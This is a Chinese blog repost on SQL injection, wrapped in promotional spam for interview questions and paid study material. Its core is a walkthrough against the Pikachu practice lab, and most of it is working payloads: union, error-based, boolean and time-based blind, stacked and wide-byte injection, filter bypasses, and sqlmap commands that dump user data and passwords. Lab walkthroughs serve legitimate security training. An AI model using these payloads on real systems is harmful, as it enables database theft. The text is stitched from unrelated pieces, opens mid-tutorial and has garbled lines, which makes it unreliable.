网络安全最新网络安全-SQL注入原理、攻击及防御,成功入职阿里月薪45K

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

d' UNION SELECT 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='member'#

列名

users表中有id、username、pw、phonenum、address、email

通过以上信息,猜测sql语句

select id,email from member where username = ‘’

查询所需字段值

有了username就可以通过他给的表单获取对应email,所以就假设我们对phone、address更感兴趣,0x3a是冒号

d' UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member#

得到数据

你可以尝试以下查询 vince。

Error注入攻击

如果union被过滤,可以使用基于错误的注入攻击,一般利用floor,updatexml, extractvalue函数、还有exp和一些几何函数,补充exp:Error Based SQL Injection Using EXP | 🔐Blog of Osanda。利用了"DOUBLE value is out of range"。

Floor函数报错

关键函数:
Rand() -------产生0~1的伪随机数
Floor() -------向下取整数
Concat() -----连接字符串
Count() ------计算总数

Payload如下:
Select count(*),concat(PAYLOAD,floor(rand(0)*2))x from 表名 group by x;

floor和rand(0)产生重复序列

根据x字段进行分组,统计x的个数

group by key 在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)

如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

爆数据库lady_killer9。

这里利用updatexml函数,报错原理简单,第二个不是XPATH类型字符串就报错。

一般使用如下结构,sql是你想运行的sql语句。

updatexml(1,concat(0x7e,(sql),0x7e),1)

0x7e是~,使用char(126)也是一样的,concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出sql语句运行后的结果。

sqlmap集成

sqlmap集成了上述的三种方式,同时还有其他的

字符型注入,目标:获取当前数据库中的users表中的所有用户名及其他感兴趣的信息。

注入点和字段数判断同上,已知:

字符型注入点,使用单引号闭合即可

字段数为2,有回显,updatexml没有被过滤,使用报错注入

查询表名
d' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#

注意,结果只能是一行,所以使用了limit 0,1获得第一个表

结果

当sql语句是使用 limit 3,1是时候就可以得到了users表。

查询列名
d' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#

第一个列名

同样,当sql语句是使用 limit 1,1、limit 2,1、limit 3,1时,就得到了username、password、level三个列名。

查询所需字段值

假设我们对username和password感兴趣

d' and updatexml(1,concat(0x7e,(SELECT group_concat(username,0x3a,password) from users limit 0,1),0x7e),1)#

结果

当然密码加了密,剩下的交给搞Cryto的人吧。可以看出报错注入攻击比较麻烦,如果有回显,union没有被过滤,还是优先使用union注入攻击。

----------------------------------------没有回显---------------------------------------------------

接下来就是难度中等的了,没有回显,采用盲注

Boolean注入攻击

基于布尔判断的攻击

根据前面知道有个用户名是vince。

vince' and length(database())=7#

没有错误

此时,条件语句where username=‘vince’ and length(database())=7是True,也就是说数据库长度为7。

vince' and substr(database(),1,1)='p'#

字符

vince' and ascii(substr(database(),1,1))=112#

ascii

vince' and ascii(substr(database(),2,1))=105#

上面是数据库名第二字符’i’的,数据库名出来后再将database()改为select语句去找表名等,一般是写脚本,一个个的手工判断时间太长,有时间写了脚本再来更新,或者使用sqlmap。

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=d&submit=%E6%9F%A5%E8%AF%A2" --technique=B -dbms mysql --threads 5 -v 3 -dbs --batch

基于boolean的

使用的是MID函数,和substr一样。在网络安全-Mysql注入知识点中有这个函数的用法。

Time注入攻击

基于时间的攻击,利用if、sleep、benchmark、get_lock等函数,使用rpadrepeat构造长字符串,加RLIKE,利用多个大表的笛卡尔积。

GET_LOCK有两个参数,一个是key,表示要加锁的字段,另一个是加锁失败后的等待时间(s),这种绕过方法是存在限制条件的,即数据库的连接必须是持久连接

vince' and if(length(database()=7),sleep(3),1)#

3秒后后显示

同样,也是写脚本,通过返回的时间长短判断,可使用sqlmap。

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name=d&submit=%E6%9F%A5%E8%AF%A2" --technique=T --time-sec 2 -dbms mysql --threads 5 -v 3 -dbs --batch

时间注入

太慢了,有其他办法不建议使用这个。

Stack注入攻击

需要后台代码是可以执行多条sql语句的,php中是使用PDO方式执行多条语句。

堆叠注入攻击可以执行多条语句,多语句之间以分号隔开。利用这个特点可以在后面的语句中构造自己要执行的语句。

获取数据库、表(单引号闭合)

';show databases;show tables;%23

sqlmap

可以看到sqlmap中注入技术选择S时,payload中是含分号的。

--------------------------------------接下来是比较特殊/高级的sql绕过注入--------------------------------

inline Query绕过注入攻击

内联查询注入攻击

宽字节绕过注入

宽字节是在一些特定的编码,如GBK中才有的,编码将两个字节认为是一个汉字(前一个字符ascii码要大于128,才到汉字的范围)。addslashes函数为了防止sql注入,将传入参数值进行转义,将’ 转义为’,单引号失去作用。因此,我们需要将\给绕过,这样才可以加’号。

'编码

\编码为%5C,我们一般在地址后添加%df。

绕过\

添加后\变成了汉字,这样就绕过了。之后就和前面的一样了,当然,还有双引号等,除了GBK还有GB2312等编码,有兴趣的可以整理一下所有的。

为了方便理解,修改一下源代码,打印一下sql语句 。

修改源代码

转义

%df%5C%27 or 1=1#

后端及数据库设置字符集为GBK,或其他低位为%5C的字符集。

Pikachu其他题目

火狐浏览器及插件hackbar v2。

数字型注入

参数为数字,一般是id等。

参数

参数为id和submit,其中id为整型。

猜测sql语句形式为

select userid from users where id = 参数

注入点判断
id=1 and 1=1&submit=查询
id=1 and 1=2&submit=查询
字段数确定
id=3 order by 3&submit=查询

3时报错

我就从2开始的,靶机的一般不会太大。真实的网络实战的话还是自己写脚本或使用sqlmap。

查询当前数据库
id=1 union select 1,database()&submit=查询

数据库pikachu

查询当前表

由于火狐对hackbar的一些限制,插件无法正常运行sql语句,就使用Navicat了。如果你不是最新版火狐的话可以试一试。

post data应该是这样的

UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=查询

实际sql语句执行是这样的

查询表

查询当前列

post data应该是这样的

id=1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name='member'&submit=查询

实际sql语句执行是这样的

当前列

查询当前字段

post data应该是这样的

id=1 UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member&submit=查询

实际sql语句执行是这样的

用户名,手机号,住址

0x3a是冒号的ASCII码

一次手工注入的基本过程如上所述,接下来大部分只讲原理,有特殊的地方再提示。

字符型注入

将参数以字符或字符串形式读入,通过闭合+注释的方式来进行SQL注入,一般是’或",或者结合()。

判断闭合

标题

获取数据
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=d'union select 1,database()--+&submit=%E6%9F%A5%E8%AF%A2

获取数据库名

后面的和之前的差不多。

搜索型注入

其实也算是字符型注入

搜索一般sql语句如下,

select * from users where username like ‘%$name’

测试闭合字符

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=frankyu'or 1=1--+&submit=%E6%90%9C%E7%B4%A2

获取所搜索表所有内容

使用’or 1=1,条件判断为TRUE,所有的都返回,想获取其他的你就从前面常用语句去粘贴就行了。

xx型注入

注入判断

frankyu’判断

我还以为书上没写的呢,其实还是字符型,只不过需要两个字符去闭合,就是前面提到的(),sql语句类型下面这种。

select * from users where username = (‘$name’)

不写了,和前面的差不多。

"insert/update"注入

标题

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)and'

0x7e是~,结果如下:

数据库

“delete注入”

和上面的差不多,id那里可以报错注入,可以使用Burpsuite进行抓包。

宽字节注入

博主数据库编码设置的utf-8,就不演示了,其实除了加一个%df外也没什么特别的地方,也可以使用其他的,sqlmap中有temper脚本进行绕过,使用的是%bf。

tamper脚本

绕过

大小写绕过

sql语句对一些关键词不区分大小写,如果网站代码没有进行大小写检查可以使用

UniOn select * from user

双写绕过

网站代码找到关键词后删除,可以通过双写构造删除后符合语法的sql语句

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 8
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值